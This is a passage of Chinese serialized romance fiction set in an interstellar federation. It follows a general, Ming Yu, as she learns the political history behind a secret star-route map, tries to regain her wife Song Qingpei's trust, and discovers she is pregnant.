宋元帅点了点头,语气中带着几分悲凉:“是的,容岑在一次星舰事故中,降落在一个星球上,意外发现了蓝树。蓝树的液体让她脱离了信息素的控制,精神力也得到了飞速地增长,容岑知道这个发现会给联邦带来什么影响,她并没有声张,而是秘密进行了研究实验。” “我的大女儿宋桃夭就是因此和容岑认识的,后来慕容暇等人相继加入,年轻人行动力一向快,一年后,她们就研究出了第一版的抑制剂,不但可以帮助信息素对人的影响,还可以快速提高精神力,容岑也因此成为联邦历史上最年轻的总统。” “原本蓝树抑制剂只在军部高层流通,为贵族世家使用,这也导致军部等高层进一步被世家子弟把持,平民难以升迁,阶级固化,联邦爆发多次暴乱。容岑试图进行改革,平价发售‘蓝树’抑制剂,这触动了贵族世家的利益,于是贵族世家联合起来,以战家为首,陷害容岑叛国。” “容岑被迫卸任总统,接受审讯,她们试图逼迫容岑说出蓝树的位置,但容岑始终没有松口。最终,容岑不堪刑讯逼供,选择了自杀。” “桃夭……也随她而去了。” 宋元帅眼含热泪,道:“因为当时桃夭忙于实验,灼华带着不到三岁的青佩在外游玩,逃过一劫,从此再无音讯。而慕容暇逃走后,组建了黑鸢花组织,一直在试图为容岑平反,这些年遭到了战笠多次绞杀,怕是也撑不了多久了。” 听到这,明毓的心猛地一沉。 她终于明白了李蔓为什么说她们都是既得利益者,让青佩不要相信她。而想到她之前为了保住青佩的身份不泄露,又帮着乌澜杀了不少黑鸢花组织的人,越发难受起来。 以后,她该如何面对青佩? 明毓的脑海中一片混乱,艰难道:“那星际航线图……是不是蓝树星球所在的具体位置?” 宋元帅点头道:“容岑被逼死后,她们并没有得到蓝树星的具体位置,只在容岑的办公室找到了一份星际航线图。最后,星际航线图被分为了五分,分别由当时军部的五大元帅保存。” 明毓和宋惜寒不由对视了一眼。 联邦由军部控制,而军部,则是由四大家族为首的军事贵族控制,战家,秦家,明家和宋家。当时拿到星际航线图的五位元帅,四位出自四大家族,而唯一没什么背景的元帅何平川,则在五年前退休后,被总统战笠以贪腐为名进行调查,在狱中自杀。 而当时负责调查这个案子的人,就是乌澜。 这个案子过后,乌澜便一路平步青云,升到了调查局局长的位置。 明毓猛地想到了乌澜问她要航线图,难道乌澜的目标是蓝树? 她到底是什么人? 当时元帅何平川手中的航线图,到底是落到了战笠手中,还是被乌澜暗中藏了起来? 明毓的心猛地一沉,脑海中闪过一个念头:战笠关押乌澜,可能不仅仅是为了敲打她,还可能是为了逼她交出航线图?” 她突然意识到,乌澜可能早就预料到了这一切,所以才故意在这个时候放出慕容瑞雪和李蔓,试图打乱战笠的计划。 但不论如何,青佩都不适合继续留下来了。 这一刻,明毓从未有过的后悔,她高估了自己,当初,她不该为了一己之私,强行将宋青佩留下的。 “宋元帅。”明毓猛地抬头,道:“慕容暇……她值得信任吗?” 宋元帅抬起头,似乎对这个有些意外,她沉默着,仿佛在思考如何回答。 片刻后才缓缓开口:“对于青佩而言,慕容暇,是值得信任的。” 明毓的眸色微微闪动,似乎在消化这个答案。 宋元帅似乎看出了她的疑虑,继续说:“慕容暇和灼华的感情很深,至少可以确定,她想为容岑平反,和救灼华的心是真的。” 明毓沉默了片刻,点了点头:“我明白了,宋元帅。” 宋元帅的目光在她脸上停留了片刻,似乎看穿了她的心思,她缓缓开口,“明毓,你是不是有什么计划?” 明毓的眸色再次闪动,心中有些犹豫。 她还是无法下定决心,将自己的计划全盘托出,毕竟当初,她可是放弃了自己的两个女儿,这一点,明毓其实更钦佩不曾妥协的宋灼华和慕容暇。 她低声道:“宋元帅,你放心,我……会确保青佩的安全。” 宋元帅的眼中闪过一丝复杂的情绪,似乎有些失望,又似乎有些理解。 她叹了口气,声音缓慢道:“或许惜寒……说得对。我已经老了,很多事情无能为力。但你们年轻人不同,你们还有机会去改变这一切。” 明毓的心中一震,她从未见过宋元帅如此直白地表达自己的无力感。 宋元帅从抽屉里拿出一份泛黄的星际航线图,递给明毓:“这份航线图,或许对你有用。” 明毓接过航线图,心中一阵复杂。 她知道这份航线图的价值,也知道它背后隐藏的秘密。低声道:“宋元帅,您放心,我不会忘记曾经对您的承诺。” 宋元帅欣慰地点了点头。 “宋元帅,那我先走了。” 当明毓收好航线图准备离开时,宋惜寒主动道:“明毓,我送送你。” 夜色已深,宋惜寒在鹅卵石小道上突然停步:“明毓,虽然我帮不上什么大忙,但是有什么需要一定要联系我。” “惜寒。”明毓有些诧异地看着她,“你没必要……” “不,我受够了当缩头乌龟。”宋惜寒笑着看向她,肩线在军装下绷得笔直,“而且这是当年宋家欠两位姑姑……和青佩的。” 明毓神色凝重道:“你放心,我不会让青佩有事的。” —— 宋青佩坐在山水庄园大厅的沙发上,胸腔里翻涌着无声的怒火。 林中尉带人闯进她公寓时的场景仍在脑海中挥之不去——那些人不由分说地将她“请”上车,连收拾行李的时间都没给。 “又发什么疯?”她咬着后槽牙低声自语。 宋青佩强迫自己深呼吸,试图理清思绪。 明毓突然采取这种极端手段,一定是出了什么变故。 大门被推开的声音让她猛地抬头。 明毓站在门口,长发略显凌乱,额角还带着未干的汗珠。那张总是冷冷的脸上,此刻竟带着几分……惶恐? 四目相对的瞬间,明毓的瞳孔明显缩了缩。 “解释。”宋青佩听见自己冰冷的声音在厅内回荡。 明毓向前迈了半步又停住,急切道:“青佩,你听我说,现在的情况很复杂。乌澜被抓了,战笠可能会对你不利,我是为了你的安全才让林中尉接你过来的。” “你别生气好不好?”*她最后又小心地补了一句。 闻言,宋青佩的眼中闪过一丝震惊,眼中的愤怒逐渐被复杂的情绪取代。 她明白,明毓不会拿这种事情骗她,而她自然也不会在这种生气。 她不由皱眉道:“乌澜为什么被抓?” 明毓有些为难道:“青佩,我一两句话说不清楚,你……” 早就对她擅作主张没什么信任的宋青佩,忍不住打断她的话语,“所以,不能告诉我对吗?” “不是的,青佩。”明毓慌乱道:“你别生气,我慢慢跟你说。” 这一次,上将大人过分坦白,几乎是立刻就将所有的事情告诉了宋青佩。 宋青佩听完,心情久久不能平复。 她不知道背后还有这么多事情,更不知道,自己身上还有着这么多担子,一时之间十分茫然,她原本,只是想救出将她养大的小姨而已。 见她茫然的模样,明毓有些不忍地上前,握住了她的手道:“青佩,你别担心,我一定会帮你的。” 沉默良久,宋青佩看向明毓道:“怎么帮我?让我像个囚犯一样,在这里躲着吗?” 明毓的脸色瞬间白了。 她上前一步,却又硬生生停住,像是怕惊动什么似的,声音近乎哀求:“青佩,你再相信我一次……再相信我最后一次。” “我一定会想办法送你离开。” 宋青佩怔住了。 她从未见过这样的明毓——那个永远高高在上的上将,此刻竟像个做错事的孩子,连指尖都在微微发抖。那双总是锐利的眼睛,此刻竟泛着红,像是随时会落下泪来。 “一周。”明毓的声音哑得不成样子,“给我一周时间,我会安排你离开去找慕容暇……” “慕容暇?”宋青佩瞳孔骤缩,“你愿意让我走了?” “不愿意。”明毓摇头,低得几乎听不清,“我当初答应和乌澜合作是为了保住你的身份不泄露,永远留在我身边,但现在……”她哽了一下,“现在我只想让你好好活着,别再生我的气。” 一滴温热的东西砸在了她的手上。 宋青佩愣住了。 明毓……在哭? 那股翻涌的怒意突然卡在胸口,不上不下。 宋青佩的目光在明毓脸上逡巡,带着毫不掩饰的怀疑。 她微微眯起眼睛:“明毓,你凭什么让我相信你?上次你也是这么说的,结果呢?” 明毓的呼吸明显急促起来,慌乱地解释:“青佩,我知道我骗过你……但这次不一样……”她的声音越来越低,最后几乎变成了气音,“求你……再信我一次,好不好?” 宋青佩注意到明毓泛白的指节和微微发抖的唇瓣,又想到不久收到那个神秘人发的消息:【如果联系不上我,明毓是你唯一可以信任的人】 “我凭什么相信你?”宋青佩重复道,语气却不自觉地软了几分。 明毓突然掏出一枚芯片和星际航线图,双手捧着递到她面前:“这是宋元帅给我的星际航线图……还有我所有的军部权限密钥……都给你……”她的声音哽咽,“如果我再骗你……你可以随时毁了我……” 宋青佩盯着那枚芯片,心跳突然加速。 这是明毓全部的底牌,她就这么轻易交出来了? 宋青佩深吸一口气,脑海中两种声音在激烈交锋。一个在警告她别再上当,另一个却在说——看看她现在的样子,像是装的吗? “一周。”宋青佩终于开口,看到明毓瞬间亮起来的眼睛又立刻补充道:“我只给你一周时间。如果到时候——” “不会有如果!”明毓急切地打断她,手忙脚乱地擦掉眼泪,“我发誓,这次一定不会再骗你……”她突然噤声,像是怕说太多又惹宋青佩生气。 “好,我就再信你一次。” 宋青佩当然不是真的信任她,只是,她现在确实也没别的选择,她相信,明毓不管做什么,确实不会伤害她。 只是她不认同这种方式,宋青佩叹了口气,不想再跟她说话,于是转身往楼上走,头也不回地说:“我先回房间了。” “你好好休息。” 明毓如释重负般松口气,可下一秒,表情突然僵住—— “等等!”明毓慌忙去拦,可已经晚了。 宋青佩已经大步上了楼梯,进了房间,明毓赶紧跟了上去。 楼上,宋青佩推开门,看到床上凌乱的一切,上面还放着明毓换下的睡衣,混合着还没消散的淡淡信息素味道。 很明显可以猜出,在上面做了些什么。 宋青佩俯身,伸手挑起床上脱下的睡衣,看向明毓,“你的?” 明毓的脸蹭地一下红了,心虚不敢看她。 “对不起……” 第73章 难道她怀孕了? 见她支支吾吾,宋青佩上前一步,问:“你在这个房间睡?” 明毓看不出她脸上的喜怒,心中忐忑,忙解释道:“……我只是太想你了。” 宋青佩不为所动,只是冷淡地挑眉:“所以……你要继续在这睡吗?” “啊?”明毓懵了,她没敢奢想宋青佩会留她。 果然,下一刻宋青佩道:“你要是继续在这睡,就让苏管家再给我安排个房间……” “不不用。” 明毓飞快地瞥了宋青佩一眼,赶忙从她手上抢过睡衣,红着耳根走到床边,手忙脚乱地将床上自己的东西抱在怀里,侧身绕过宋青佩,垂眸道:“你等一下,我马上让苏管家叫人来收拾。” 她慌忙走出门,高声叫苏管家。 苏管家闻声,赶紧走了过来,“上将,您有什么吩咐?” 明毓咳了一声掩饰尴尬,“让人收拾一下房间。” 听到明毓的吩咐,苏管家立刻安排了两个女佣过来收拾房间。 见女佣开始在房间收拾,两人一前一后走了出去。 宋青佩神色淡淡的,垂着眼站在门外,不知道在想些什么。 明毓手指无意识地攥着手中睡衣,丝质面料滑过指尖,凉意丝丝,却难掩掌心燥热。她望着仆人们更换床单,每一个动作都似在重揭方才的尴尬。 “苏管家,把窗户也打开通通风。”她吩咐道。 闻言,宋青佩若有若无地睨了她一眼。 明毓不由自主又想到了昨晚……躺在宋青佩床上做的荒唐事。 她耳根又红了几分,生怕宋青佩看出什么,赶紧移开了视线。却能真切感受到那道落在自己身上的目光,仿若一把无形尺,度量着她的慌乱。 宋青佩默默扫了她一眼,并没有说什么。 两人互相沉默着,走廊灯光将两人影子拉得老长。 明毓盯着地上与自己若即若离的影子,终是忍不住鼓起勇气开口:“青佩,要不……你先去我房间待会儿?”她顿了顿,小心地补充道:“我有些事情要跟你说。” 宋青佩并未即刻回应。 明毓听得到自己急促的心跳,心中忍不住苦笑,现在的宋青佩怕是根本就不相信她的话吧。甚至……还会觉得,她现在是发热期,怕是又在故技重施勾引她吧。 生怕宋青佩对她的厌恶更甚,明毓试图解释,可话到嘴边又顿住。总不能当着这么多人的面说,她现在根本就没有勾引宋青佩的意思。 想到这,明毓不由晃了下神,耳边不由响起了宋青佩恶劣的话:多标记几次,撑的时间也长一点…… 自从被宋青佩狠狠地折腾那一番后,发热期确实到现在都没有发作,这着实有些奇怪,之前她的发热期已经不可控,哪怕被安抚后也不会撑这么久。 明毓不由皱眉,想着要找医生看看。 长时间的沉默,让明毓忍不住悄悄抬眼,正撞上宋青佩探究的目光,心下越发紧张。 “是、是关于乌澜的事。”她急忙补充,“有些事我要跟你说……” “好,走吧。” 宋青佩的目光在她脸上停留许久,终是点头答应。 明毓如释重负地舒出一口气,赶紧转身,两人一前一后去了明毓的卧室。 卧室门轻轻合上,发出“咔嗒”一声轻响。 “什么事?说吧。”宋青佩靠在墙边,双手抱胸看她。 明毓看向宋青佩,察觉到对方冷淡的态度,她缓缓开口,声音比想象中干涩:“青佩,我真的很抱歉,我以后真的不会再骗你了……” “说正事。”宋青佩打断她,语气平静。 见她这个公事公办的态度,明毓只能压下内心的所有酸涩,详述了乌澜被捕的事,提及战笠可能对她的不利时,声音担忧道:“青佩,陈铎现在暂代调查局长的职务,他是战笠新提拔的心腹……我担心他会对你不利。” “青佩,你能不能先别去上班了?” “我不是想要限制你的自由,我只是担心你,你相信我……” 说到这儿,明毓突然哽住。 望着不远处站着的宋青佩,她恍惚间仿若看到了自己得知奶奶给她下了思想钢印,两人相拥时的画面,和如今这般猜忌与伤害形成了鲜明的对比。 宋青佩静静凝视她,时间仿若凝固。 明毓红着眼,仿若等待宣判的囚徒,近乎哀声道:“青佩,你再信我一次好不好?我真的不会再骗你了!” “我说了信你。” 简单的一句话,让明毓眼眶一热。 “但只有一周。”宋青佩又补充道:“一周后,无论结果如何,我都会离开这里。” 明毓强装镇定,却控不住发颤指尖:“好……我不会再让你失望的。” 这时,门外传来苏管家声音:“上将,房间收拾好了。” 宋青佩没再多言,转身离去。 夜深人静,宋青佩躺在重新铺好的床上,毫无睡意。 反复摩挲那枚芯片,冰凉触感让她想起明毓交出时颤抖的手指。 “真的能相信她吗?”宋青佩无声自问。 她犹豫了一瞬,翻身摸出通讯器,再次尝试联系那个神秘号码,却依然没有回应。 忽然,她想起神秘人发消息的语气—— 那种漫不经心的模样,似乎与记忆中的一个人十分相像…… 想到这个猜测,宋青佩不由变了脸色。 与此同时,主卧里的明毓同样辗转难眠。 她盯着天花板,脑海全是宋青佩说“一周后离开”时的神情,虽然嘴上答应了,可她总觉得,青佩并没有真的相信她。 可不论如何,她这次,绝不能再让她失望了。 明毓强忍着内心的酸涩,忽然觉得胃里一阵翻涌,她蜷缩了下身子,分不清是胃病发作还是心痛所致。 许久才沉沉入睡。 —— 次日清晨,阳光透过餐厅落地窗倾洒而入,为一切镀上温暖金色。 颂颂坐在两人中间,小脸上满是藏不住的喜悦,一会儿瞅瞅左边的妈妈,一会儿瞧瞧右边的妈咪,眼睛亮得像星星。 “妈咪,你的黑眼圈好重哦。”颂颂伸出小手,轻轻碰了碰明毓眼睑,“是不是没睡好?” 明毓握住女儿软乎乎的小手,柔声道:“妈咪没事。” 她的目光不自觉瞟向对面宋青佩,后者正专注为颂颂剥虾仁,修长手指灵活去掉虾壳,动作专注得让人移不开眼。 “妈妈剥的虾最好吃了!”颂颂开心宣布,小脚在椅子下晃悠。 突然想到什么,颂颂献宝似的将面前海鲜粥推到明毓面前:“妈咪喝粥!苏奶奶说这是用最新鲜的虾熬的!” 明毓刚端起碗,一股淡淡的腥味猛地窜入鼻腔。 她猛地捂住嘴,脸色煞白,胃里翻江倒海之感来得猝不及防,来不及说话就冲向洗手间。 明毓扶着洗手台,吐得十分狼狈。 她弓着身子,胃里翻江倒海的恶心感一波接一波涌上来,却只能吐出些酸水。额前的碎发被冷汗浸湿,黏在苍白的脸颊上。 许久,她才缓缓直起身,用冷水拍了拍脸。 镜中的人眼眶泛红,唇色惨淡,整个人都透着股虚弱的病态。 “给。” 身后突然传来熟悉声音,明毓转头,看见宋青佩不知何时站在了洗手间门口,手里端着一杯温水。她赶紧伸手接过,指尖不小心碰到了宋青佩的手,温热的触感让她心头一暖。 “谢谢。”明毓小声道,低头抿了口水,温水滑过火辣辣的喉咙,稍稍缓解了不适。 宋青佩皱眉看着她:“怎么吐这么厉害?” “可能是……胃不太好。”明毓勉强扯出一个笑容,“最近军校的事比较多,饮食不太规律。” 两人一前一后回到餐厅。 颂颂担忧地望着明毓:“妈咪还难受吗?要不要叫医生?” “颂颂,妈咪没事。”明毓摸了摸女儿的头,却在闻到海鲜粥的腥味时又一阵反胃。她强压下不适,对苏管家道:“换些清淡的来。” 苏管家连忙让人撤下海鲜粥,换上了白粥和小菜。 明毓坐下来,强迫自己喝了几口粥,却食不知味。 “我吃好了。”明毓放下筷子,“颂颂乖乖吃饭,妈咪先去忙了。” 她匆匆离开餐厅,没看见身后宋青佩满是探究的神色。 宋青佩盯着明毓几乎没动过的早餐,又想起方才她呕吐的模样,眉心紧紧不由紧紧皱了起来。 “妈妈?”颂颂担忧的唤道,“妈咪,没事吧?” 宋青佩这才回神,收敛了神色,安抚道:“没事,快吃吧,一会儿送你去幼儿园。” 而此时,明毓已经坐上了前往军校的悬浮车。 她靠在座椅上,疲惫地闭上眼,胃里依然不舒服。 悬浮车一个颠簸,明毓又感到一阵恶心。 她的手不自觉地抚上胃部,颦眉低头时,视线不由落在了小腹,像是忽然想到什么般,手指被烫到似的猛地缩回。 不会的……应该只是胃不舒服而已。 她安慰自己,却控制不住地想起那个混乱的夜晚,宋青佩咬着她后颈时凶狠的力度,完全标记了她…… 明毓咬住嘴唇,在心里默默计算着日期,脸色越来越白。 难道她怀孕了? 第74章 宋青佩怀孕明毓有孕 明毓心事重重地踏入军校大门,晨光将她的影子拉得很长。 她先去了战南笙的办公室,依旧没有人。副手见到她,立刻起身汇报:“明校长,战副校长今天还是没有来。” 明毓的声音透着一丝焦躁:“总统府那边有新的消息吗?” “没有。”副手摇头,“只说战副校长身体抱恙,需要静养。” 明毓的眉头拧得更紧。 战南笙被软禁,乌澜被羁押,这一切都让她感到失控。 她快步走回自己的办公室,坐在椅子上,处理公事。 可不知为何,却总是心绪不宁,仿佛有什么危险在慢慢逼近。 她本能地想到了宋青佩。 沉思片刻,明毓叫来了林中尉,吩咐道:“加强山水庄园的安保,没有我的命令,任何陌生访客一律不准进入。” “是,上将。”林中尉的声音透着担忧,“您脸色不太好,需要医生吗?” “没事。”明毓下意识抚上腹部,又触电般收回手:“备车,我要去见林元帅。” “是。” 林中尉领命,立刻去安排车。 明毓起身,因为早上没吃什么东西,一阵眩晕,扶住桌子才堪堪站住。 不想让人看出她的脆弱,明毓强撑着走出门,上了车。 悬浮车穿过军部大楼的穹顶,明毓疲惫地按着眉心,望着窗外流动的云层,胃里又是一阵翻腾。 她强忍着不适,咬紧牙关。 当车停在林平海的私人官邸前时,她的后背已经沁出一层冷汗。 林中尉见状,再次担忧道:“上将,您还好吧?要不要……” “我说了没事。” 明毓再次强硬地打断她的话,下车,走进了林平海的私人官邸。 “明上将!” 门口的人恭敬地向她行礼。 对于她的到来,借口养病的林平海似乎并不奇怪,甚至提前告知了门口执勤的人,等明毓来了让她直接进去就行。 明毓点头示意后,熟门熟路地走了进去。 她远远就看到了,本该休养的,此刻正优哉游哉地侍弄着花草,哪里有半分需要休息的模样。 此时,明毓怎能还不明白,林元帅身为军部五大元帅中,唯一不背靠四大家族的人,这段时间借口休养身体没去军部,就是为了避免如今的政局动荡。 不在军部,林平海没了平日的威严,主动笑着打招呼,“明毓,怎么想起来看我了?” “林元帅,您身体看起来恢复得不错。” 明毓嘴上说着场面话,一同笑道:“我有些军校的事想请教您。” “什么事,坐下说吧。”林平海示意。 两人在茶室落座。 袅袅茶香中,明毓先是汇报了军校的招生进展,接着话锋一转:“林元帅,关于调查局乌局长的事……” 话说到一半,林平海的手顿在半空,茶盏里的水面泛起细微涟漪。 她抬眼看向明毓,目光如炬:“明毓,你什么时候和乌澜走得这么近了?” “之前因为公事合作过几次。”明毓的指尖无意识摩挲着杯沿,“我……欠她一个人情。” 林平海放下茶盏,瓷器相碰发出清脆声响:“这事不归军部管。总统亲自下的令,谁都不敢插手。” 明毓正想说话,突然觉得胃部突然一阵绞痛,她不得不微微弓起身子,哑着嗓子道:“元帅,您就不能……想想办法吗?哪怕让我见她一面……” “明毓。”林平海突然正色,“你老实告诉我,你是不是牵扯进了什么事了?” 茶室里一时寂静。 明毓的额头渗出细密汗珠,不知是疼痛还是紧张,她强行压着不适。 最终,她换了称呼,低声请求道:“林叔叔,是关于我妻子的一些私事……很重要。求您,帮帮我。” “你啊……”林平海长叹一声:“我尽量安排。但你记住,现在的局势……”她意味深长地看了明毓一眼,“很敏感。” “我明白,谢谢您。” 明毓真心道谢,离开林府时已近正午。 她上了车,靠在车后座,脸色煞白。 林中尉从后视镜担忧地看着她:“上将,您一上午没吃东西了。” 明毓摇摇头,却在悬浮车一个转弯时猛地捂住嘴:“停车!” 她抓住旁边的袋子,干呕不止,许久,却并未吐出什么。 等她直起身时,林中尉立刻递来手帕和水瓶。 “林中尉。”明毓的声音有些哑。 她望着水瓶里晃荡的水面,突然下定决心:“帮我约张医生,要绝对保密。” “是。” 一小时后,明毓在军方医院的特殊诊室里坐立不安。 张医生是她从战场带回来的心腹,此刻正盯着检测仪上的数据,眉头越皱越紧。 “明上将……”张医生摘下眼镜,“您……怀孕了,大约五周。” 明毓的指尖深深掐进掌心,声音发颤:“确定吗?” “确定。”张医生调出全息影像,“胚胎发育良好,只是孕吐反应来得有些早了。可能是您最近压力太大,加上饮食不规律,孕吐反应才比较严重。” 明毓盯着那团模糊的光影,一种奇异的感受涌上心头。 这是她和青佩的孩子…… 可偏偏是在这种时候。 “需要开些营养剂。”张医生的话将她拉回现实,“还有,您最好减少工作强度,需要精心休养。” 明毓机械地点头,思绪却早已经飘远。 她真的怀孕了! 可是……青佩会怎么想? 这个念头让明毓心中一阵慌乱,手紧紧地攥住腹部的军服。 下一刻,才反应过来,仿佛生怕伤害到什么般松开了紧握的手,她的手指无意识地抚上自己的小腹,那里依旧平坦,可她的心中却翻涌着难以言喻的情绪。 她的手微微颤抖,指尖冰凉。 这个孩子来得太不是时候了。 她们两人之间的关系已经变得如此脆弱,宋青佩对她的信任早已动摇,仿佛一触即溃。 如果现在告诉她怀孕的事情,她会是什么反应? 是冷漠,是担忧,还是……愤怒? 会不会觉得她故意设计怀孕,借此将她留下? 明毓不敢想下去。 她深吸一口气,努力让自己冷静下来。 战笠的野心已经暴露,乌澜的失联让局势变得更加复杂,现在不是感情用事的时候,她必须理智地思考接下来的每一步。 她不能让这个孩子成为她的软肋,更不能让原来的计划因为这件事分心。 “先回庄园。”她对林中尉说,声音轻得像是怕惊扰什么,“开慢点。” 明毓回到山水庄园时,夕阳的余晖正斜斜地洒在花园里。 她站在门廊处,透过落地窗看到宋青佩正陪着颂颂在客厅地毯上搭积木,颂颂的笑声清脆悦耳,宋青佩侧脸的轮廓在暖光中显得格外柔和。 她深吸一口气,调整好表情才推门而入。 “妈咪回来啦!”颂颂立刻丢下积木,跑过来抱住她。 明毓弯腰想抱起女儿,却在弯腰的瞬间感到一阵眩晕,连忙改为蹲下身子,轻轻搂住颂颂。 “今天乖不乖?”她努力让声音听起来轻松愉快。 “我可乖了!妈妈教我搭了城堡!”颂颂拉着她的手往地毯上拽,“妈咪快来一起玩!” 明毓强撑着微笑走过去,在地毯上坐下。 因为挤压,让她胃里又是一阵翻腾。她咬紧牙关,假装专注地帮颂颂搭建塔楼,额角却渗出细密的汗珠。 “妈咪,你的手好凉。”颂颂突然摸了摸她的手。 闻言,宋青佩视线扫过来,眸色复杂地打量着她。 明毓赶紧把手抽回,笑道:“外面有点冷。颂颂,妈咪看看你搭的城堡好不好?” 她试图转移注意力,但眼前开始发黑,耳边颂颂的声音仿佛隔了一层水膜。 “。妈咪?妈咪你快看!” 明毓猛地回神,发现颂颂正摇晃她的手臂。 她勉强扯出一个笑容:“颂颂,妈咪突然想起还有份文件没看。你们先玩,我上楼处理一下。” 她几乎是踉跄着站起来,强撑着平稳的步伐走向楼梯。 一拐过楼梯转角,她就加快了脚步,冲进卧室扑向洗手间。 一阵剧烈的干呕让她跪倒在地,胃部痉挛着,却只能吐出些酸水。 冷汗浸透了她的衬衫,发丝黏在苍白的脸颊上。她颤抖着撑起身子,用冷水拍了拍脸,镜中的自己双眼通红,憔悴得可怕。 “明毓?” 突如其来的敲门声让她浑身一僵。 宋青佩的声音隔着门传来:“你还好吗?” “没、没事!”她慌忙擦干脸,声音却虚弱得连自己都不信。 门外沉默了几秒,接着是推门的声音。 该死,她跑得急,根本就没来得及锁上门。 明毓还来不及反应,宋青佩已经推门而入,手里端着一杯水。 两人的视线在镜中相遇。 宋青佩的目光,从明毓她汗湿的额头移到苍白的嘴唇,最后落在她下意识护住腹部的手上。 “喝点水。”她把杯子递过来,语气平静得反常。 明毓接过水杯时,指尖微微发颤,杯中的水荡起细小的波纹。 她刻意避开宋青佩探究的目光,将杯沿抵在唇边,温水滑过喉咙,却浇不灭胃里翻腾的灼烧感。 “谢谢。”她低声说,声音比想象中还要嘶哑。 宋青佩没有立即回应,只是倚在门框上,双臂交叠。阳光从她身后斜照进来,在地板上投下一道修长的影子,正好延伸到明毓脚边。 “你脸色很差。”宋青佩打量着她,缓缓开口。 明毓下意识抚了抚脸颊,挤出一个微笑:“可能是最近没休息好。” 她能感觉到宋青佩的目光落在她身上,像X光一样要将她看透。 明毓不自觉地后退,后背抵上洗手台踉跄了一下,她条件反射般护住腹部,又立刻意识到自己的失态,急忙改为整理衣摆。 这个细微的动作没有逃过宋青佩的眼睛。 她向前迈了一步,若有所思道:“你以前胃病发作不是这样的。” “可能……这次更严重了。” 明毓试图让声音听起来轻松,却在尾音处泄出一丝颤抖。 宋青佩的视线在她腹部停留,“你最近……一直吐吗?” 闻言,明毓的呼吸一滞,故作坦然道:“没有,偶尔而已。” 宋青佩没说话,只是向前又迈了一步,两人之间的距离近得能闻到彼此身上的气息——宋青佩身上有阵阵的儿童沐浴露香味,而明毓身上则带着淡淡的消毒水的味道。 像极了刚从医院出来的味道。 “你看医生了?确定只是胃病吗?” 宋青佩的声音很轻,却像锤子敲在明毓心上。 明毓有些心虚地移开视线,低声道:“只是胃病而已,我没事。”她说完,强迫自己抬头与宋青佩对视。 两人的目光在空中相交。 宋青佩似乎并不相信她的解释,目光直视着她道:“明毓,你是不是有什么事瞒着我?” 明毓的目光躲闪了一下,勉强笑道:“我……我能瞒着你什么?” 宋青佩没说话,只是目光灼灼地注视着明毓。 两人再次长久地对视着。 明毓首先在这种对视中败下阵来,心虚地移开了眼,她张了张嘴,几乎要脱口而出那个秘密。 突然,楼下突然传来颂颂的哭喊声,打破了紧张的气氛。 “妈妈!妈咪!” 明毓瞬间回过神来,低声道:“我真的没事,你去看看颂颂吧。” 闻言,宋青佩深深看了她一眼,最终转身走向门口。 在踏出房门前,她停下脚步,没有回头:“明毓,你知道隐瞒解决不了任何问题。” 门关上的声音像一记闷雷。 明毓压抑住又一阵翻涌的恶心,转头看到镜中的女人面色惨白,眼中写满纠结与痛苦。 宋青佩知道了,或者说,她猜到了。 这个认知让明毓既害怕又莫名期待。 如果她告诉青佩她怀孕了,她会选择留下吗? 可是,让宋青佩为这个孩子留下,何尝不是给她戴上了新的枷锁? 让她为此抱憾一生,不能去做她想做的事,甚至抱憾一生。到那时,青佩又何尝不会怨她,恨她,两个人最终又能获得什么? 这真的是她想要的吗? 第75章 这个孩子我不会留 宋青佩下楼时,颂颂正举着搭好的城堡模型,小脸兴奋得通红:“妈妈快看!我的城堡!”她左右张望,“妈咪呢?我要给妈咪看!” “妈咪不舒服,在休息。”宋青佩蹲下身,安抚道:“等明天再给妈咪看好不好?” 颂颂的小脸立刻垮了下来,担忧的问:“妈咪生病了吗?” “妈咪只是有点累。”宋青佩揉了揉女儿柔软的头发,“来,妈妈陪你玩好不好?” “好吧。” 颂颂虽然有些不情愿,但很快就投入了进去。 “妈妈,快帮我,我要再搭一个更大的城堡给妈咪看” 宋青佩一边应和着,一边机械地陪着颂颂继续搭建城堡,手指捏着积木却明显的心不在焉,思绪早已飘远。 明毓苍白的脸色、频繁的呕吐恶心,护住腹部的本能反应……这些细节在她脑海中不断闪回,像一部循环播放的默片。 实在是太像了…… 是她多心了吗? “妈妈!妈妈~你不专心!” 直到颂颂不满地叫她,宋青佩这才回过神来。 她只能暂时收回心思,一边哄着颂颂,专心陪她摆积木。 直到晚餐时分,明毓依然没有现身。 苏管家为两人准备好丰盛的晚餐,又端着精心准备的餐盘上楼,不到十分钟又原封不动地端了下来。 宋青佩皱眉,“苏管家,怎么回事?” “上将说没胃口。”苏管家忧心忡忡地说,“这早上不吃,晚上也不吃,胃怎么可能不出问题。” 宋青佩盯着餐盘上纹丝未动的饭菜,突然想起今早明毓对着海鲜粥干呕的样子,内心不由再次升腾起了浓浓的怀疑。 “我换点食物,再去劝劝。”苏管家叹了口气,转身又要上楼。 “等等。”宋青佩叫住她,“我去吧。” 苏管家欲言又止,最终只是点点头:“厨房还温着粥,劝着喝点粥吧。” 宋青佩点头,又加了一句,“做点凉拌黄瓜,酸一点。” “好,我这就让人去准备。” 苏管家立刻让女佣按照宋青佩说的,准备好食物交给了她。 站在明毓的房门外,宋青佩手里端着一碗刚熬好的白粥,上面撒了些许葱花,还配了一小碟清淡的凉拌黄瓜,这是她记忆中明毓孕吐时极少能吃下的东西。 她轻轻敲了敲门,沉声道:“明毓,吃点东西吧。” 门内沉默了许久,才传来明毓低哑的回应:“……不用了,我不饿。” 宋青佩皱眉,指节抵在门板上,加重力道又敲了两下:“你已经一整天没吃东西了。” “我没胃口。”明毓的声音带着一丝压抑的烦躁。 宋青佩愣住,许久都没说话, 明毓这个反应明显不对劲,她明明昨天还在小心示好,怎么可能会如此任性地给她摆脸色,除非她控制不住…… 为什么控制不住呢?答案几乎呼之欲出。 果然,下一刻,再次传来明毓闷闷的声音,带着明显示弱的意为:“青佩,我真的不饿,你去陪颂颂吃饭吧,我睡一会儿就好了。” 宋青佩没再说话,最终只是将餐盘轻轻放在门外的矮柜上。 “粥放在外面,你想吃的时候自己拿。” “嗯。” 宋青佩在门口站了一会儿,最终转身离开,心里那股疑虑却越来越重。 门内。 明毓蜷缩在床上,手指死死攥着被单,胃里翻江倒海,她连起身的力气都没有。 她知道自己现在的状态很糟糕。 怀孕的反应比怀颂颂时还要强烈,她甚至怀疑自己能不能撑过这一周。可比起身体的不适,更让她煎熬的是心里的挣扎—— 到底要不要告诉宋青佩真相? 